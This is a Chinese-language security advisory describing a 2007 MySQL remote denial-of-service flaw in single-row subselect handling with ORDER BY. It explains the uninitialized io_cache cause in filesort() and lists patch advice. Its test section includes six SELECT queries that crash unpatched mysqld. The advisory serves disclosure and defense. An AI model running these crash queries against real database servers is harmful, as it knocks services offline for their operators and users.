安全研究

安全漏洞
MySQL单行子选择远程拒绝服务漏洞

发布日期:2007-03-09
更新日期:2007-03-12

受影响系统:
MySQL AB MySQL < 5.0.37
不受影响系统:
MySQL AB MySQL 5.0.37
描述:
BUGTRAQ  ID: 22900

MySQL是一款使用非常广泛的开放源代码关系数据库系统,拥有各种平台的运行版本。

MySQL在处理特定畸形请求时存在漏洞,远程攻击者可能利用此漏洞在导致MySQL进程崩溃。

如果MySQL用户在字符串函数中使用了子选择的话,就会调用Item_singlerow_subselect::val_str()。由于无需分类整理单行子选择的结果,因此不会初始化所分配结构st_table中的某些字段,具体来讲是sort->io_cache字段。但如果在查询中使用了ORDER BY,就会对表格运行filesort(),filesort()中的错误处理例程在引用未初始化字段值出现段访问错误:

libmysqld/filesort.cc:

111   FILESORT_INFO table_sort;
(...)
117   memcpy(&table_sort, &table->sort, sizeof(FILESORT_INFO));
120   outfile= table_sort.io_cache;
(..)
269  err:
(..)
276   if (my_b_inited(outfile))

include/my_sys.h:

503 #define my_b_inited(info) (info)->buffer

这可能会触发空指针引用,导致mysqld崩溃。

<*来源:S.Streichsbier
        B.Mueller
  
  链接:http://www.sec-consult.com/284.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

SELECT ASCII((SELECT table_name FROM information_schema.columns ORDER BY 1));
SELECT TRIM(LEADING FROM (SELECT table_name FROM information_schema.columns ORDER BY 1));
SELECT SUBSTR((SELECT table_name FROM information_schema.tables ORDER BY 1),1,1);
SELECT UPPER((SELECT table_name FROM information_schema.tables ORDER BY 1));
SELECT RTRIM((SELECT table_name FROM information_schema.tables ORDER BY 1));
SELECT RPAD((SELECT table_name FROM information_schema.tables ORDER BY 1),1,'lol');

建议:
厂商补丁:

MySQL AB
--------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://dev.mysql.com/downloads/mysql/5.0.html#downloads

浏览次数:2901
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障